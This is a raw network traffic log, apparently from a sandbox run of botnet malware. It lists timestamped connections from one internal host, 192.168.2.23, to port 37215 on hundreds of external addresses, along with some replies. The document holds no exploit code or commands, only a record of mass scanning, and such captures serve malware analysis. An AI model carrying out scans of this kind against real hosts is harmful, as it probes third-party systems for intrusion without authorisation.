Feb 20, 2022 15:50:57.688487053 CET	1386	37215	192.168.2.23	41.90.147.227
Feb 20, 2022 15:50:57.688487053 CET	1386	37215	192.168.2.23	41.100.241.213
Feb 20, 2022 15:50:57.688488007 CET	1386	37215	192.168.2.23	41.183.121.39
Feb 20, 2022 15:50:57.688503027 CET	1386	37215	192.168.2.23	41.198.107.3
Feb 20, 2022 15:50:57.688532114 CET	1386	37215	192.168.2.23	41.147.222.169
Feb 20, 2022 15:50:57.688587904 CET	1386	37215	192.168.2.23	41.143.190.157
Feb 20, 2022 15:50:57.688606024 CET	1386	37215	192.168.2.23	41.134.146.50
Feb 20, 2022 15:50:57.688637018 CET	1386	37215	192.168.2.23	41.123.22.45
Feb 20, 2022 15:50:57.688642979 CET	1386	37215	192.168.2.23	41.101.36.246
Feb 20, 2022 15:50:57.688643932 CET	1386	37215	192.168.2.23	41.114.84.197
Feb 20, 2022 15:50:57.688677073 CET	1386	37215	192.168.2.23	41.38.212.100
Feb 20, 2022 15:50:57.688694000 CET	1386	37215	192.168.2.23	41.161.24.223
Feb 20, 2022 15:50:57.688719034 CET	1386	37215	192.168.2.23	41.79.194.194
Feb 20, 2022 15:50:57.688745022 CET	1386	37215	192.168.2.23	41.8.208.56
Feb 20, 2022 15:50:57.688760996 CET	1386	37215	192.168.2.23	41.10.44.215
Feb 20, 2022 15:50:57.688812971 CET	1386	37215	192.168.2.23	41.233.198.46
Feb 20, 2022 15:50:57.688833952 CET	1386	37215	192.168.2.23	41.113.242.252
Feb 20, 2022 15:50:57.688854933 CET	1386	37215	192.168.2.23	41.149.124.53
Feb 20, 2022 15:50:57.688886881 CET	1386	37215	192.168.2.23	41.197.217.240
Feb 20, 2022 15:50:57.688898087 CET	1386	37215	192.168.2.23	41.143.191.80
Feb 20, 2022 15:50:57.688900948 CET	1386	37215	192.168.2.23	41.212.134.152
Feb 20, 2022 15:50:57.688911915 CET	1386	37215	192.168.2.23	41.43.96.77
Feb 20, 2022 15:50:57.688955069 CET	1386	37215	192.168.2.23	41.214.255.63
Feb 20, 2022 15:50:57.688980103 CET	1386	37215	192.168.2.23	41.59.41.181
Feb 20, 2022 15:50:57.688986063 CET	1386	37215	192.168.2.23	41.247.26.65
Feb 20, 2022 15:50:57.689001083 CET	1386	37215	192.168.2.23	41.90.75.214
Feb 20, 2022 15:50:57.689052105 CET	1386	37215	192.168.2.23	41.168.255.195
Feb 20, 2022 15:50:57.689069986 CET	1386	37215	192.168.2.23	41.216.115.200
Feb 20, 2022 15:50:57.689102888 CET	1386	37215	192.168.2.23	41.19.134.98
Feb 20, 2022 15:50:57.689111948 CET	1386	37215	192.168.2.23	41.123.169.111
Feb 20, 2022 15:50:57.689116001 CET	1386	37215	192.168.2.23	41.70.180.231
Feb 20, 2022 15:50:57.689138889 CET	1386	37215	192.168.2.23	41.83.18.96
Feb 20, 2022 15:50:57.689152002 CET	1386	37215	192.168.2.23	41.63.113.17
Feb 20, 2022 15:50:57.689173937 CET	1386	37215	192.168.2.23	41.94.240.67
Feb 20, 2022 15:50:57.689194918 CET	1386	37215	192.168.2.23	41.125.21.69
Feb 20, 2022 15:50:57.689218998 CET	1386	37215	192.168.2.23	41.49.146.2
Feb 20, 2022 15:50:57.689238071 CET	1386	37215	192.168.2.23	41.17.122.0
Feb 20, 2022 15:50:57.689256907 CET	1386	37215	192.168.2.23	41.60.193.251
Feb 20, 2022 15:50:57.689311028 CET	1386	37215	192.168.2.23	41.148.175.87
Feb 20, 2022 15:50:57.689332008 CET	1386	37215	192.168.2.23	41.206.129.92
Feb 20, 2022 15:50:57.689333916 CET	1386	37215	192.168.2.23	41.210.141.144
Feb 20, 2022 15:50:57.689340115 CET	1386	37215	192.168.2.23	41.33.18.147
Feb 20, 2022 15:50:57.689356089 CET	1386	37215	192.168.2.23	41.4.231.218
Feb 20, 2022 15:50:57.689385891 CET	1386	37215	192.168.2.23	41.126.247.14
Feb 20, 2022 15:50:57.689404964 CET	1386	37215	192.168.2.23	41.132.113.10
Feb 20, 2022 15:50:57.689465046 CET	1386	37215	192.168.2.23	41.172.255.248
Feb 20, 2022 15:50:57.689466953 CET	1386	37215	192.168.2.23	41.48.180.4
Feb 20, 2022 15:50:57.689491034 CET	1386	37215	192.168.2.23	41.195.102.41
Feb 20, 2022 15:50:57.689496040 CET	1386	37215	192.168.2.23	41.255.202.212
Feb 20, 2022 15:50:57.689513922 CET	1386	37215	192.168.2.23	41.168.111.226
Feb 20, 2022 15:50:57.689539909 CET	1386	37215	192.168.2.23	41.170.131.203
Feb 20, 2022 15:50:57.689557076 CET	1386	37215	192.168.2.23	41.24.201.5
Feb 20, 2022 15:50:57.689567089 CET	1386	37215	192.168.2.23	41.171.24.39
Feb 20, 2022 15:50:57.689584017 CET	1386	37215	192.168.2.23	41.178.146.35
Feb 20, 2022 15:50:57.689605951 CET	1386	37215	192.168.2.23	41.8.222.51
Feb 20, 2022 15:50:57.689631939 CET	1386	37215	192.168.2.23	41.148.222.193
Feb 20, 2022 15:50:57.689696074 CET	1386	37215	192.168.2.23	41.119.193.174
Feb 20, 2022 15:50:57.689697027 CET	1386	37215	192.168.2.23	41.74.84.132
Feb 20, 2022 15:50:57.689699888 CET	1386	37215	192.168.2.23	41.154.187.169
Feb 20, 2022 15:50:57.689728022 CET	1386	37215	192.168.2.23	41.46.25.163
Feb 20, 2022 15:50:57.689743042 CET	1386	37215	192.168.2.23	41.91.17.133
Feb 20, 2022 15:50:57.689764023 CET	1386	37215	192.168.2.23	41.20.151.42
Feb 20, 2022 15:50:57.689826965 CET	1386	37215	192.168.2.23	41.181.221.58
Feb 20, 2022 15:50:57.689853907 CET	1386	37215	192.168.2.23	41.49.137.33
Feb 20, 2022 15:50:57.689883947 CET	1386	37215	192.168.2.23	41.197.39.152
Feb 20, 2022 15:50:57.689903975 CET	1386	37215	192.168.2.23	41.239.175.47
Feb 20, 2022 15:50:57.689929962 CET	1386	37215	192.168.2.23	41.231.6.227
Feb 20, 2022 15:50:57.689953089 CET	1386	37215	192.168.2.23	41.66.23.116
Feb 20, 2022 15:50:57.689964056 CET	1386	37215	192.168.2.23	41.9.136.253
Feb 20, 2022 15:50:57.689970016 CET	1386	37215	192.168.2.23	41.112.255.202
Feb 20, 2022 15:50:57.690016985 CET	1386	37215	192.168.2.23	41.97.94.65
Feb 20, 2022 15:50:57.690017939 CET	1386	37215	192.168.2.23	41.214.218.53
Feb 20, 2022 15:50:57.690018892 CET	1386	37215	192.168.2.23	41.65.216.230
Feb 20, 2022 15:50:57.690025091 CET	1386	37215	192.168.2.23	41.23.66.136
Feb 20, 2022 15:50:57.690073967 CET	1386	37215	192.168.2.23	41.242.176.139
Feb 20, 2022 15:50:57.690365076 CET	1898	37215	192.168.2.23	41.47.109.175
Feb 20, 2022 15:50:57.690385103 CET	1898	37215	192.168.2.23	41.25.57.55
Feb 20, 2022 15:50:57.690414906 CET	1386	37215	192.168.2.23	41.5.198.19
Feb 20, 2022 15:50:57.690418959 CET	1898	37215	192.168.2.23	41.166.207.233
Feb 20, 2022 15:50:57.690452099 CET	1898	37215	192.168.2.23	41.22.181.226
Feb 20, 2022 15:50:57.690453053 CET	1898	37215	192.168.2.23	41.146.240.168
Feb 20, 2022 15:50:57.690469980 CET	1898	37215	192.168.2.23	41.175.27.84
Feb 20, 2022 15:50:57.690500021 CET	1898	37215	192.168.2.23	41.229.133.175
Feb 20, 2022 15:50:57.690515041 CET	1898	37215	192.168.2.23	41.87.135.151
Feb 20, 2022 15:50:57.700257063 CET	37215	1898	41.216.189.52	192.168.2.23
Feb 20, 2022 15:50:57.712783098 CET	37215	1898	197.7.44.12	192.168.2.23
Feb 20, 2022 15:50:57.727754116 CET	37215	1898	197.8.160.140	192.168.2.23
Feb 20, 2022 15:50:57.728825092 CET	37215	1386	41.230.92.229	192.168.2.23
Feb 20, 2022 15:50:57.743144035 CET	37215	1898	41.83.30.178	192.168.2.23
Feb 20, 2022 15:50:57.747490883 CET	37215	1386	41.82.132.156	192.168.2.23
Feb 20, 2022 15:50:57.748796940 CET	37215	1386	41.83.180.146	192.168.2.23
Feb 20, 2022 15:50:57.751856089 CET	37215	1386	41.219.63.100	192.168.2.23
Feb 20, 2022 15:50:57.769308090 CET	37215	1386	41.224.58.162	192.168.2.23
Feb 20, 2022 15:50:57.778270006 CET	37215	1898	41.82.36.236	192.168.2.23
Feb 20, 2022 15:50:57.781790018 CET	37215	1386	41.83.160.230	192.168.2.23
Feb 20, 2022 15:50:57.784395933 CET	37215	1898	41.77.119.107	192.168.2.23
Feb 20, 2022 15:50:57.785774946 CET	37215	1898	41.82.50.21	192.168.2.23
Feb 20, 2022 15:50:57.796576977 CET	37215	1898	41.75.94.215	192.168.2.23
Feb 20, 2022 15:50:57.799282074 CET	37215	1898	41.206.14.169	192.168.2.23
Feb 20, 2022 15:50:57.799830914 CET	37215	1898	41.221.57.241	192.168.2.23
Feb 20, 2022 15:50:57.804626942 CET	37215	1898	41.191.107.165	192.168.2.23
Feb 20, 2022 15:50:57.836078882 CET	37215	1898	41.198.60.201	192.168.2.23
Feb 20, 2022 15:50:57.844621897 CET	37215	1898	41.191.236.2	192.168.2.23
Feb 20, 2022 15:50:57.846204996 CET	37215	1898	41.223.218.7	192.168.2.23
Feb 20, 2022 15:50:57.847541094 CET	37215	1898	41.71.72.201	192.168.2.23
Feb 20, 2022 15:50:57.848704100 CET	37215	1898	41.174.175.211	192.168.2.23
Feb 20, 2022 15:50:57.850222111 CET	37215	1386	41.86.44.148	192.168.2.23
Feb 20, 2022 15:50:57.853909969 CET	37215	1898	41.76.151.207	192.168.2.23
Feb 20, 2022 15:50:57.855123997 CET	37215	1898	41.190.133.41	192.168.2.23
Feb 20, 2022 15:50:57.868777037 CET	37215	1386	41.220.22.169	192.168.2.23
Feb 20, 2022 15:50:57.872745037 CET	37215	1898	41.160.185.120	192.168.2.23
Feb 20, 2022 15:50:57.873835087 CET	37215	1898	41.70.174.224	192.168.2.23
Feb 20, 2022 15:50:57.877717018 CET	37215	1386	41.57.7.119	192.168.2.23
Feb 20, 2022 15:50:57.879473925 CET	37215	1386	41.198.63.41	192.168.2.23
Feb 20, 2022 15:50:57.886904001 CET	37215	1386	41.220.238.202	192.168.2.23
Feb 20, 2022 15:50:57.887423038 CET	37215	1386	41.174.89.146	192.168.2.23
Feb 20, 2022 15:50:57.891518116 CET	37215	1898	41.175.143.118	192.168.2.23
Feb 20, 2022 15:50:57.892996073 CET	37215	1898	41.174.23.195	192.168.2.23
Feb 20, 2022 15:50:57.897121906 CET	37215	1898	41.175.135.125	192.168.2.23
Feb 20, 2022 15:50:57.907526970 CET	37215	1898	41.175.190.184	192.168.2.23
Feb 20, 2022 15:50:57.944932938 CET	37215	1386	197.9.183.132	192.168.2.23
Feb 20, 2022 15:50:57.956614971 CET	37215	1386	41.220.139.236	192.168.2.23
Feb 20, 2022 15:50:57.962016106 CET	37215	1898	197.9.138.225	192.168.2.23
Feb 20, 2022 15:50:58.115473986 CET	37215	1898	197.8.246.57	192.168.2.23
Feb 20, 2022 15:50:58.191802979 CET	42836	443	192.168.2.23	91.189.91.43
Feb 20, 2022 15:50:58.565983057 CET	37215	1386	197.9.65.156	192.168.2.23
Feb 20, 2022 15:50:58.581662893 CET	37215	1898	197.128.245.30	192.168.2.23
Feb 20, 2022 15:50:58.691551924 CET	1898	37215	192.168.2.23	138.179.18.191
Feb 20, 2022 15:50:58.691564083 CET	1898	37215	192.168.2.23	138.48.52.111
Feb 20, 2022 15:50:58.691590071 CET	1898	37215	192.168.2.23	138.201.146.164
Feb 20, 2022 15:50:58.691633940 CET	1898	37215	192.168.2.23	138.171.80.151
Feb 20, 2022 15:50:58.691646099 CET	1898	37215	192.168.2.23	138.140.211.150
Feb 20, 2022 15:50:58.691659927 CET	1898	37215	192.168.2.23	138.161.114.225
Feb 20, 2022 15:50:58.691772938 CET	1386	37215	192.168.2.23	138.181.47.191
Feb 20, 2022 15:50:58.691817045 CET	1386	37215	192.168.2.23	138.105.76.231
Feb 20, 2022 15:50:58.691869020 CET	1386	37215	192.168.2.23	138.40.174.133
Feb 20, 2022 15:50:58.691941023 CET	1386	37215	192.168.2.23	138.32.210.71
Feb 20, 2022 15:50:58.692037106 CET	1386	37215	192.168.2.23	138.134.210.24
Feb 20, 2022 15:50:58.692068100 CET	1386	37215	192.168.2.23	138.217.83.250
Feb 20, 2022 15:50:58.692073107 CET	1386	37215	192.168.2.23	138.51.105.236
Feb 20, 2022 15:50:58.692076921 CET	1386	37215	192.168.2.23	138.165.218.198
Feb 20, 2022 15:50:58.692111015 CET	1386	37215	192.168.2.23	138.190.225.250
Feb 20, 2022 15:50:58.692127943 CET	1386	37215	192.168.2.23	138.87.116.105
Feb 20, 2022 15:50:58.692166090 CET	1386	37215	192.168.2.23	138.153.183.183
Feb 20, 2022 15:50:58.692167997 CET	1386	37215	192.168.2.23	138.18.121.25
Feb 20, 2022 15:50:58.692193985 CET	1386	37215	192.168.2.23	138.241.110.147
Feb 20, 2022 15:50:58.692240953 CET	1386	37215	192.168.2.23	138.161.145.77
Feb 20, 2022 15:50:58.692269087 CET	1386	37215	192.168.2.23	138.116.72.159
Feb 20, 2022 15:50:58.692274094 CET	1386	37215	192.168.2.23	138.96.111.150
Feb 20, 2022 15:50:58.692305088 CET	1386	37215	192.168.2.23	138.129.5.22
Feb 20, 2022 15:50:58.692365885 CET	1386	37215	192.168.2.23	138.91.96.86
Feb 20, 2022 15:50:58.692393064 CET	1386	37215	192.168.2.23	138.90.99.96
Feb 20, 2022 15:50:58.692444086 CET	1386	37215	192.168.2.23	138.242.220.154
Feb 20, 2022 15:50:58.692503929 CET	1386	37215	192.168.2.23	138.38.147.1
Feb 20, 2022 15:50:58.692529917 CET	1386	37215	192.168.2.23	138.62.152.9
Feb 20, 2022 15:50:58.692568064 CET	1386	37215	192.168.2.23	138.181.85.52
Feb 20, 2022 15:50:58.692629099 CET	1386	37215	192.168.2.23	138.239.237.138
Feb 20, 2022 15:50:58.692651987 CET	1386	37215	192.168.2.23	138.180.151.248
Feb 20, 2022 15:50:58.692662001 CET	1386	37215	192.168.2.23	138.81.70.94
Feb 20, 2022 15:50:58.692693949 CET	1386	37215	192.168.2.23	138.44.143.203
Feb 20, 2022 15:50:58.692733049 CET	1386	37215	192.168.2.23	138.80.234.21
Feb 20, 2022 15:50:58.692795992 CET	1386	37215	192.168.2.23	138.16.197.95
Feb 20, 2022 15:50:58.692820072 CET	1386	37215	192.168.2.23	138.207.41.88
Feb 20, 2022 15:50:58.692828894 CET	1386	37215	192.168.2.23	138.82.28.19
Feb 20, 2022 15:50:58.692868948 CET	1386	37215	192.168.2.23	138.207.108.70
Feb 20, 2022 15:50:58.692893982 CET	1386	37215	192.168.2.23	138.151.60.152
Feb 20, 2022 15:50:58.692936897 CET	1386	37215	192.168.2.23	138.255.155.152
Feb 20, 2022 15:50:58.692967892 CET	1386	37215	192.168.2.23	138.77.14.186
Feb 20, 2022 15:50:58.693000078 CET	1386	37215	192.168.2.23	138.56.90.31
Feb 20, 2022 15:50:58.693037987 CET	1386	37215	192.168.2.23	138.216.68.172
Feb 20, 2022 15:50:58.693090916 CET	1386	37215	192.168.2.23	138.119.124.249
Feb 20, 2022 15:50:58.693124056 CET	1386	37215	192.168.2.23	138.76.213.74
Feb 20, 2022 15:50:58.693156004 CET	1386	37215	192.168.2.23	138.74.204.23
Feb 20, 2022 15:50:58.693190098 CET	1386	37215	192.168.2.23	138.35.92.241
Feb 20, 2022 15:50:58.693223000 CET	1386	37215	192.168.2.23	138.111.123.19
Feb 20, 2022 15:50:58.693257093 CET	1386	37215	192.168.2.23	138.90.58.127
Feb 20, 2022 15:50:58.693295956 CET	1386	37215	192.168.2.23	138.93.124.122
Feb 20, 2022 15:50:58.693331003 CET	1386	37215	192.168.2.23	138.85.205.218
Feb 20, 2022 15:50:58.693361998 CET	1386	37215	192.168.2.23	138.227.4.86
Feb 20, 2022 15:50:58.693389893 CET	1386	37215	192.168.2.23	138.173.230.216
Feb 20, 2022 15:50:58.693427086 CET	1386	37215	192.168.2.23	138.11.16.41
Feb 20, 2022 15:50:58.693455935 CET	1386	37215	192.168.2.23	138.145.182.46
Feb 20, 2022 15:50:58.693510056 CET	1386	37215	192.168.2.23	138.246.162.31
Feb 20, 2022 15:50:58.693572044 CET	1386	37215	192.168.2.23	138.238.7.116
Feb 20, 2022 15:50:58.693603992 CET	1386	37215	192.168.2.23	138.208.235.254
Feb 20, 2022 15:50:58.693612099 CET	1386	37215	192.168.2.23	138.58.196.195
Feb 20, 2022 15:50:58.693641901 CET	1386	37215	192.168.2.23	138.27.154.45
Feb 20, 2022 15:50:58.693676949 CET	1386	37215	192.168.2.23	138.87.17.214
Feb 20, 2022 15:50:58.693711996 CET	1386	37215	192.168.2.23	138.159.107.107
Feb 20, 2022 15:50:58.693756104 CET	1386	37215	192.168.2.23	138.63.203.50
Feb 20, 2022 15:50:58.693778038 CET	1386	37215	192.168.2.23	138.185.173.23
Feb 20, 2022 15:50:58.693813086 CET	1386	37215	192.168.2.23	138.140.247.216
Feb 20, 2022 15:50:58.693851948 CET	1386	37215	192.168.2.23	138.172.192.250
Feb 20, 2022 15:50:58.693902969 CET	1386	37215	192.168.2.23	138.77.33.105
Feb 20, 2022 15:50:58.693942070 CET	1386	37215	192.168.2.23	138.253.31.244
Feb 20, 2022 15:50:58.693994999 CET	1386	37215	192.168.2.23	138.76.193.34
Feb 20, 2022 15:50:58.694022894 CET	1386	37215	192.168.2.23	138.73.119.61
Feb 20, 2022 15:50:58.694055080 CET	1386	37215	192.168.2.23	138.160.13.33
Feb 20, 2022 15:50:58.694089890 CET	1386	37215	192.168.2.23	138.88.251.206
Feb 20, 2022 15:50:58.694180965 CET	1386	37215	192.168.2.23	138.161.49.201
Feb 20, 2022 15:50:58.694185019 CET	1386	37215	192.168.2.23	138.140.54.158
Feb 20, 2022 15:50:58.694214106 CET	1386	37215	192.168.2.23	138.136.78.149
Feb 20, 2022 15:50:58.694242001 CET	1386	37215	192.168.2.23	138.202.201.245
Feb 20, 2022 15:50:58.694276094 CET	1386	37215	192.168.2.23	138.110.146.18
Feb 20, 2022 15:50:58.694363117 CET	1386	37215	192.168.2.23	138.225.198.30
Feb 20, 2022 15:50:58.694392920 CET	1386	37215	192.168.2.23	138.161.46.180
Feb 20, 2022 15:50:58.694408894 CET	1386	37215	192.168.2.23	138.111.243.134
Feb 20, 2022 15:50:58.694431067 CET	1386	37215	192.168.2.23	138.122.108.52
Feb 20, 2022 15:50:58.694457054 CET	1386	37215	192.168.2.23	138.126.218.186
Feb 20, 2022 15:50:58.694504976 CET	1386	37215	192.168.2.23	138.105.143.156
Feb 20, 2022 15:50:58.694533110 CET	1386	37215	192.168.2.23	138.107.19.104
Feb 20, 2022 15:50:58.694566011 CET	1386	37215	192.168.2.23	138.28.9.119
Feb 20, 2022 15:50:58.694617033 CET	1386	37215	192.168.2.23	138.42.91.55
Feb 20, 2022 15:50:58.694653034 CET	1386	37215	192.168.2.23	138.30.58.229
Feb 20, 2022 15:50:58.694704056 CET	1386	37215	192.168.2.23	138.204.247.225
Feb 20, 2022 15:50:58.694739103 CET	1386	37215	192.168.2.23	138.150.91.102
Feb 20, 2022 15:50:58.694789886 CET	1386	37215	192.168.2.23	138.34.255.133
Feb 20, 2022 15:50:58.694818974 CET	1386	37215	192.168.2.23	138.168.248.72
Feb 20, 2022 15:50:58.694873095 CET	1386	37215	192.168.2.23	138.81.105.124
Feb 20, 2022 15:50:58.694890022 CET	1386	37215	192.168.2.23	138.115.215.76
Feb 20, 2022 15:50:58.694924116 CET	1386	37215	192.168.2.23	138.159.207.135
Feb 20, 2022 15:50:58.694972992 CET	1386	37215	192.168.2.23	138.118.219.136
Feb 20, 2022 15:50:58.695010900 CET	1386	37215	192.168.2.23	138.148.116.61
Feb 20, 2022 15:50:58.695046902 CET	1386	37215	192.168.2.23	138.116.38.8
Feb 20, 2022 15:50:58.695084095 CET	1386	37215	192.168.2.23	138.193.182.157
Feb 20, 2022 15:50:58.695113897 CET	1386	37215	192.168.2.23	138.202.173.38
Feb 20, 2022 15:50:58.695144892 CET	1386	37215	192.168.2.23	138.183.19.230
Feb 20, 2022 15:50:58.695172071 CET	1386	37215	192.168.2.23	138.202.244.46
Feb 20, 2022 15:50:58.695210934 CET	1386	37215	192.168.2.23	138.136.18.187
Feb 20, 2022 15:50:58.695245981 CET	1386	37215	192.168.2.23	138.208.222.73
Feb 20, 2022 15:50:58.695305109 CET	1386	37215	192.168.2.23	138.31.32.66
Feb 20, 2022 15:50:58.695316076 CET	1386	37215	192.168.2.23	138.103.144.150
Feb 20, 2022 15:50:58.695334911 CET	1386	37215	192.168.2.23	138.82.49.161
Feb 20, 2022 15:50:58.695386887 CET	1386	37215	192.168.2.23	138.209.168.52
Feb 20, 2022 15:50:58.695406914 CET	1386	37215	192.168.2.23	138.212.97.203
Feb 20, 2022 15:50:58.695442915 CET	1386	37215	192.168.2.23	138.59.97.121
Feb 20, 2022 15:50:58.695478916 CET	1386	37215	192.168.2.23	138.105.45.39
Feb 20, 2022 15:50:58.695517063 CET	1386	37215	192.168.2.23	138.213.223.243
Feb 20, 2022 15:50:58.695547104 CET	1386	37215	192.168.2.23	138.11.50.20
Feb 20, 2022 15:50:58.695575953 CET	1386	37215	192.168.2.23	138.63.213.27
Feb 20, 2022 15:50:58.695612907 CET	1386	37215	192.168.2.23	138.112.195.5
Feb 20, 2022 15:50:58.695635080 CET	1386	37215	192.168.2.23	138.173.33.215
Feb 20, 2022 15:50:58.695688009 CET	1386	37215	192.168.2.23	138.198.177.48
Feb 20, 2022 15:50:58.695738077 CET	1386	37215	192.168.2.23	138.235.144.112
Feb 20, 2022 15:50:58.695787907 CET	1386	37215	192.168.2.23	138.76.207.159
Feb 20, 2022 15:50:58.695820093 CET	1386	37215	192.168.2.23	138.228.22.225
Feb 20, 2022 15:50:58.695888996 CET	1386	37215	192.168.2.23	138.125.242.139
Feb 20, 2022 15:50:58.695894957 CET	1386	37215	192.168.2.23	138.5.10.145
Feb 20, 2022 15:50:58.695938110 CET	1386	37215	192.168.2.23	138.49.6.10
Feb 20, 2022 15:50:58.695964098 CET	1386	37215	192.168.2.23	138.172.166.103
Feb 20, 2022 15:50:58.696031094 CET	1386	37215	192.168.2.23	138.2.99.141
Feb 20, 2022 15:50:58.696059942 CET	1386	37215	192.168.2.23	138.41.6.73
Feb 20, 2022 15:50:58.696069002 CET	1386	37215	192.168.2.23	138.131.203.48
Feb 20, 2022 15:50:58.696100950 CET	1386	37215	192.168.2.23	138.121.228.200
Feb 20, 2022 15:50:58.696131945 CET	1386	37215	192.168.2.23	138.209.168.38
Feb 20, 2022 15:50:58.696171045 CET	1386	37215	192.168.2.23	138.188.253.189
Feb 20, 2022 15:50:58.696207047 CET	1386	37215	192.168.2.23	138.154.218.51
Feb 20, 2022 15:50:58.696233034 CET	1386	37215	192.168.2.23	138.50.241.207
Feb 20, 2022 15:50:58.696299076 CET	1386	37215	192.168.2.23	138.122.105.129
Feb 20, 2022 15:50:58.696319103 CET	1386	37215	192.168.2.23	138.110.139.146
Feb 20, 2022 15:50:58.696350098 CET	1386	37215	192.168.2.23	138.87.254.29
Feb 20, 2022 15:50:58.696382046 CET	1386	37215	192.168.2.23	138.169.59.99
Feb 20, 2022 15:50:58.696413040 CET	1386	37215	192.168.2.23	138.206.107.53
Feb 20, 2022 15:50:58.696440935 CET	1386	37215	192.168.2.23	138.78.190.115
Feb 20, 2022 15:50:58.696491957 CET	1386	37215	192.168.2.23	138.202.32.194
Feb 20, 2022 15:50:58.696521997 CET	1386	37215	192.168.2.23	138.235.165.23
Feb 20, 2022 15:50:58.696554899 CET	1386	37215	192.168.2.23	138.66.127.193
Feb 20, 2022 15:50:58.696588993 CET	1386	37215	192.168.2.23	138.167.89.16
Feb 20, 2022 15:50:58.696619034 CET	1386	37215	192.168.2.23	138.221.31.69
Feb 20, 2022 15:50:58.696655989 CET	1386	37215	192.168.2.23	138.105.213.113
Feb 20, 2022 15:50:58.696680069 CET	1386	37215	192.168.2.23	138.81.79.237
Feb 20, 2022 15:50:58.696719885 CET	1386	37215	192.168.2.23	138.201.17.244
Feb 20, 2022 15:50:58.696811914 CET	1386	37215	192.168.2.23	138.69.199.47
Feb 20, 2022 15:50:58.696815014 CET	1386	37215	192.168.2.23	138.84.104.235
Feb 20, 2022 15:50:58.696849108 CET	1386	37215	192.168.2.23	138.144.33.255
Feb 20, 2022 15:50:58.696932077 CET	1386	37215	192.168.2.23	138.54.241.83
Feb 20, 2022 15:50:58.696969032 CET	1386	37215	192.168.2.23	138.91.115.194
Feb 20, 2022 15:50:58.696973085 CET	1386	37215	192.168.2.23	138.43.179.141
Feb 20, 2022 15:50:58.697015047 CET	1386	37215	192.168.2.23	138.7.239.144
Feb 20, 2022 15:50:58.697035074 CET	1386	37215	192.168.2.23	138.6.237.79
Feb 20, 2022 15:50:58.697071075 CET	1386	37215	192.168.2.23	138.222.132.93
Feb 20, 2022 15:50:58.697099924 CET	1386	37215	192.168.2.23	138.150.101.154
Feb 20, 2022 15:50:58.697148085 CET	1386	37215	192.168.2.23	138.226.121.185
Feb 20, 2022 15:50:58.697180033 CET	1386	37215	192.168.2.23	138.13.215.84
Feb 20, 2022 15:50:58.697247028 CET	1386	37215	192.168.2.23	138.80.123.206
Feb 20, 2022 15:50:58.697261095 CET	1386	37215	192.168.2.23	138.158.10.102
Feb 20, 2022 15:50:58.697284937 CET	1386	37215	192.168.2.23	138.187.97.97
Feb 20, 2022 15:50:58.697308064 CET	1386	37215	192.168.2.23	138.165.49.21
Feb 20, 2022 15:50:58.697357893 CET	1386	37215	192.168.2.23	138.35.127.104
Feb 20, 2022 15:50:58.697393894 CET	1386	37215	192.168.2.23	138.70.162.61
Feb 20, 2022 15:50:58.697436094 CET	1386	37215	192.168.2.23	138.200.162.203
Feb 20, 2022 15:50:58.697472095 CET	1386	37215	192.168.2.23	138.189.118.93
Feb 20, 2022 15:50:58.697523117 CET	1386	37215	192.168.2.23	138.24.24.78
Feb 20, 2022 15:50:58.697559118 CET	1386	37215	192.168.2.23	138.115.116.174
Feb 20, 2022 15:50:58.697602034 CET	1386	37215	192.168.2.23	138.238.106.160
Feb 20, 2022 15:50:58.697627068 CET	1386	37215	192.168.2.23	138.60.94.207
Feb 20, 2022 15:50:58.697654963 CET	1386	37215	192.168.2.23	138.120.30.239
Feb 20, 2022 15:50:58.697737932 CET	1386	37215	192.168.2.23	138.7.205.68
Feb 20, 2022 15:50:58.697741032 CET	1386	37215	192.168.2.23	138.9.135.231
Feb 20, 2022 15:50:58.697765112 CET	1386	37215	192.168.2.23	138.61.255.105
Feb 20, 2022 15:50:58.697799921 CET	1386	37215	192.168.2.23	138.255.31.106
Feb 20, 2022 15:50:58.697834969 CET	1386	37215	192.168.2.23	138.9.144.58
Feb 20, 2022 15:50:58.697854996 CET	1386	37215	192.168.2.23	138.24.252.203
Feb 20, 2022 15:50:58.697906017 CET	1386	37215	192.168.2.23	138.134.41.69
Feb 20, 2022 15:50:58.697981119 CET	1386	37215	192.168.2.23	138.254.62.214
Feb 20, 2022 15:50:58.697990894 CET	1386	37215	192.168.2.23	138.26.7.81
Feb 20, 2022 15:50:58.698018074 CET	1386	37215	192.168.2.23	138.77.225.94
Feb 20, 2022 15:50:58.698086023 CET	1386	37215	192.168.2.23	138.73.225.73
Feb 20, 2022 15:50:58.698111057 CET	1386	37215	192.168.2.23	138.248.223.220
Feb 20, 2022 15:50:58.698117018 CET	1386	37215	192.168.2.23	138.26.108.55
Feb 20, 2022 15:50:58.698168039 CET	1386	37215	192.168.2.23	138.127.244.130
Feb 20, 2022 15:50:58.698203087 CET	1386	37215	192.168.2.23	138.50.103.123
Feb 20, 2022 15:50:58.698241949 CET	1386	37215	192.168.2.23	138.163.154.121
Feb 20, 2022 15:50:58.698275089 CET	1386	37215	192.168.2.23	138.181.167.96
Feb 20, 2022 15:50:58.698304892 CET	1386	37215	192.168.2.23	138.73.131.20
Feb 20, 2022 15:50:58.698342085 CET	1386	37215	192.168.2.23	138.170.209.242
Feb 20, 2022 15:50:58.698370934 CET	1386	37215	192.168.2.23	138.153.215.27
Feb 20, 2022 15:50:58.698417902 CET	1386	37215	192.168.2.23	138.41.119.218
Feb 20, 2022 15:50:58.698441029 CET	1386	37215	192.168.2.23	138.23.151.204
Feb 20, 2022 15:50:58.698477030 CET	1386	37215	192.168.2.23	138.209.31.120
Feb 20, 2022 15:50:58.698508024 CET	1386	37215	192.168.2.23	138.80.91.20
Feb 20, 2022 15:50:58.698539019 CET	1386	37215	192.168.2.23	138.165.174.137
Feb 20, 2022 15:50:58.698575020 CET	1386	37215	192.168.2.23	138.211.248.41
Feb 20, 2022 15:50:58.698617935 CET	1386	37215	192.168.2.23	138.181.156.2
Feb 20, 2022 15:50:58.698633909 CET	1386	37215	192.168.2.23	138.240.150.99
Feb 20, 2022 15:50:58.698671103 CET	1386	37215	192.168.2.23	138.133.162.79
Feb 20, 2022 15:50:58.698698997 CET	1386	37215	192.168.2.23	138.2.173.237
Feb 20, 2022 15:50:58.698740005 CET	1386	37215	192.168.2.23	138.44.96.134
Feb 20, 2022 15:50:58.698772907 CET	1386	37215	192.168.2.23	138.252.239.88
Feb 20, 2022 15:50:58.698801994 CET	1386	37215	192.168.2.23	138.6.12.135
Feb 20, 2022 15:50:58.698832989 CET	1386	37215	192.168.2.23	138.100.81.208
Feb 20, 2022 15:50:58.698863983 CET	1386	37215	192.168.2.23	138.65.73.98
Feb 20, 2022 15:50:58.698904037 CET	1386	37215	192.168.2.23	138.70.233.55
